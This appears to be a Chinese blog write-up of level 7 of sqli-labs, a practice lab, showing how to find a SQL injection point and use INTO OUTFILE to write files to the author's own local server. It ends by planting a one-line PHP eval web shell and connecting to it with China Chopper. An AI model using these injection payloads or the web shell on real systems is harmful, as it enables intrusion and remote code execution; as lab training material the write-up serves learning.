2020.4.2 sqli-labs--第7关①

1.这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。
into outfile命令:select into outfile命令作用将查询结果输出保存到一个文件中
使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

2.我们正常输入?id=1页面回显如下
在这里插入图片描述3.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
在这里插入图片描述4.当我们输入?id=1’页面报错,说明可能存在"注入
在这里插入图片描述5.当我们输入?id=1’ --+页面显示依然不正常
在这里插入图片描述6.接着我们尝试?id=1’) --+,页面依然显示不正常,有点难受,不过没关系
在这里插入图片描述7.我们可以接着输入?id=5’)) --+尝试,发现页面回显正常
在这里插入图片描述由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好

C:\phpStudy\PHPTutorial\MySQL\data在这里插入图片描述然后使用

union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 

尝试写入文件。
然后去本机文件夹下查看文件是否写入成功。
在这里插入图片描述写入成功了,但是文件名变成了如图红色表示的那样!!
接着我进行了好多次尝试,最后被同学告知,需要使用\来代替目录中的\ ,具体原因我也不知道,后续会补上。 命令如下:

union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"

在这里插入图片描述
文件导入成功!,接着我们查看chao.php的内容
在这里插入图片描述要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

我们再尝试上传一句话木马,具体命令

?id=-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\hello.php" --+

接着试着访问一下这个文件
在这里插入图片描述
上传成功,使用菜刀链接下
在这里插入图片描述

发布了48 篇原创文章 · 获赞 3 · 访问量 3369

猜你喜欢

转载自blog.csdn.net/DSR446/article/details/105281934